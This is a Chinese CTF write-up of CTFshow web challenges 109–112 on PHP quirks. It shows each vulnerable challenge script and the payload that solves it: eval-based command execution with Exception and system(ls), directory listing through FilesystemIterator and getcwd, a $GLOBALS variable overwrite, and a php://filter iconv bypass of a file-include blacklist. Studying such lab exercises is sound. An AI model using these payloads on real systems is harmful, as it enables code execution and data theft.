CTFshow web(php特性109-112)

web109

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-29 22:02:34

*/

highlight_file(FILE);

error_reporting(0);

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

v1 = _GET['v1'];

v2 = _GET['v2'];

if(preg_match('/[a-zA-Z]+/', v1) \&\& preg_match('/\[a-zA-Z\]+/', v2)){

eval("echo new v1(v2());");

}

}

?>

代码分析:

使用正则表达式函数 preg_match() 来检查变量 $v1$v2 是否包含至少一个字母。如果两者都满足条件,则执行 eval() 函数,将 $v2() 执行的结果作为参数创建一个新的 $v1 类对象,并通过 echo 输出。

思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路

知识点:异常处理逻辑

当在PHP代码中出现错误时,可以使用异常处理机制来处理错误。异常(Exception)是一种特殊的对象,用于表示在代码执行过程中发生的错误情况。

下面是一个简单的异常处理逻辑的示例:

复制代码
try {
    // 可能引发异常的代码
    throw new Exception("这是一个异常示例");
} catch (Exception $e) {
    // 异常处理逻辑
    echo "捕获到异常:" . $e->getMessage();
}

在这个例子中,异常处理逻辑如下:

  • try 块中的代码可能会引发一个 Exception 类型的异常。
  • 当异常发生时,程序会跳转到与 Exception 类型匹配的 catch 块中。
  • catch 块中可以使用 $e 变量来引用捕获到的异常对象,然后根据具体情况处理异常,例如输出异常信息。

异常处理逻辑可以帮助我们更好地处理程序中可能发生的错误情况,提高代码的可读性、可维护性和容错性。

回到本题:

eval("echo new v1(v2());");在这串代码中既然v2=system(ls),那我肯定

$v1作为类名,$v2()作为类的构造函数的调用。,v1为x,v2system(ls)eval()函数最终执行的代码相当于:

复制代码
echo new x(system(ls));

你觉得如果v1随便输入一个字符能够使得上面语句成立吗?

不可以,如果x=xeception,那么就会触发Exception 类型的异常,变成执行命令

echo new exception(system(ls));

payload:v1=exception&v2=system(ls)

再访问fl36dg.txt页面就好

web110

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-29 22:49:10

*/

highlight_file(FILE);

error_reporting(0);

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

v1 = _GET['v1'];

v2 = _GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\_\|\\-\|\\+\|\\=\|\\{\|\\\[\|\\;\|\\:\|\\"\|\\'\|\\,\|\\.\|\\?\|\\\\\\\\\|\\/\|\[0-9\]/', v1)){

die("error v1");

}

if(preg_match('/\~|\`|\!|\@|\#|\\\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\_\|\\-\|\\+\|\\=\|\\{\|\\\[\|\\;\|\\:\|\\"\|\\'\|\\,\|\\.\|\\?\|\\\\\\\\\|\\/\|\[0-9\]/', v2)){

die("error v2");

}

eval("echo new v1(v2());");

}

?>

思路:

这里和上一题原理不同,有没有发现('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]这里过滤的那么凶残,基本符号都给你禁完了,怎么办?

代码分析:

使用正则表达式函数 preg_match() 来检查变量 $v1$v2 是否包含至少一个字母。如果两者都满足条件,则执行 eval() 函数,将 $v2() 执行的结果作为参数创建一个新的 $v1 类对象,并通过 echo 输出。

思路:既然题目没有告诉我flag在哪,那我肯定要v2=system(ls)啊,这是每道题目都通用的思路,确实是这样没错,但是这里把括号给你搞没了,太狠了!!!

这个语句是查找当前目录的语句,到底有什么也有相似的功能呢?

**百度一下,**到底有什么能够返回当前的目录呢?于是发现了希望!

getcwd() 是 PHP 内置的一个函数,它返回当前的工作目录的路径字符串。例如,如果当前工作目录是 "/var/www/html",那么 getcwd() 将返回 "/var/www/html"

好!v2搞定了,那就开始v1

回到本题:

eval("echo new v1(v2());");在这串代码中既然v2=getcwd,那我肯定

$v1作为类名,$v2()作为类的构造函数的调用。,v1为x,v2为getcwd,eval()函数最终执行的代码相当于:

复制代码
echo new x(getcwd);

你觉得如果v1随便输入一个字符能够使得上面语句成立吗?

echo new $v1($v2())

那我肯定得找一个有效的类名啊,不然肯定得报错,那该用什么类呢?问GPT

哈哈哈,找到了!FilesystemIterator 是 PHP 提供的一个类,用于遍历文件系统中的文件和目录。它的构造函数可以接受一个路径作为参数,用于指定要遍历的目录。

payload:v1=FilesystemIterator&v2=getcwd

接下来访问页面就好!

web111

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(FILE);

error_reporting(0);

include("flag.php");

function getFlag(&v1,\&v2){

eval("$$v1 = &$$v2;");

var_dump($$v1);

}

if(isset(_GET\['v1'\]) \&\& isset(_GET['v2'])){

v1 = _GET['v1'];

v2 = _GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\_\|\\-\|\\+\|\\=\|\\{\|\\\[\|\\;\|\\:\|\\"\|\\'\|\\,\|\\.\|\\?\|\\\\\\\\\|\\/\|\[0-9\]\|\\\<\|\\\>/', v1)){

die("error v1");

}

if(preg_match('/\~| |\`|\!|\@|\#|\\\|\\%\|\\\^\|\\\&\|\\\*\|\\(\|\\)\|\\_\|\\-\|\\+\|\\=\|\\{\|\\\[\|\\;\|\\:\|\\"\|\\'\|\\,\|\\.\|\\?\|\\\\\\\\\|\\/\|\[0-9\]\|\\\<\|\\\>/', v2)){

die("error v2");

}

if(preg_match('/ctfshow/', $v1)){

getFlag(v1,v2);

}

}

?>

这道题多好啊!v1直接给你了ctfshow,接下来调用getFlag函数,

function getFlag(&v1,\&v2){

eval("$$v1 = &$$v2;");

var_dump($$v1);

}

这里就是一个最经典的变量覆盖,include("flag.php");flag藏在这里面,那我就使用全局变量覆盖。

直接v2=GLOBALS

解析:

这行代码将 GLOBALS 赋值给了一个名为 ctfshow 的局部变量,并且使用了引用符号 &。这意味着 $ctfshow$GLOBALS 引用同一个变量内存空间。

由于在代码中引入了 flag.php 文件,因此 $GLOBALS 数组中会包含引入的 flag.php 文件中定义的 $flag 变量。

所以,当我们调用 var_dump($$v1) 时,实际上是打印出了 $ctfshow 引用的变量,即 $GLOBALS 数组,其中包含了 $flag 变量的值。

**payload:v1=ctfshow&v2=**GLOBALS

web112

<?php

/*

-*- coding: utf-8 -*-

@Author: Firebasky

@Date: 2020-09-16 11:25:09

@Last Modified by: h1xa

@Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(FILE);

error_reporting(0);

function filter($file){

if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){

die("hacker!");

}else{

return $file;

}

}

file=_GET['file'];

if(! is_file($file)){

highlight_file(filter($file));

}else{

echo "hacker!";

}

这道题目是一道经典的文件包含题目, if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){

这里才过滤了冰山一角,

我之前的文章可是把所有过滤器都列举了,这点过滤很简单。

如果不懂,直接看我的文章,使用爆破法解决,万能的,破除一切大范围过滤,希望大家可以看看我的这篇关于文件包含的文章,该介绍的都介绍了。

文件包含提升-CSDN博客

直接把我当时爆破出来的万能payload丢上去就好了,这个万能payload之所以万能是因为我做了那么多题,还没见过把这个过滤的题目,哈哈哈!

payload:

?file=php://filter//convert.iconv.UTF-8.UCS-4*/resource=flag.php

真诚地希望我的文章能够得到大家的喜欢,最重要的是能够对大家有所帮助,谢谢!

相关推荐
BingoGo1 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack1 小时前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo1 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理3 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行3 天前
网络安全总结
安全·web安全
feifeigo1233 天前
matlab画图工具
开发语言·matlab
dustcell.3 天前
haproxy七层代理
java·开发语言·前端
norlan_jame3 天前
C-PHY与D-PHY差异
c语言·开发语言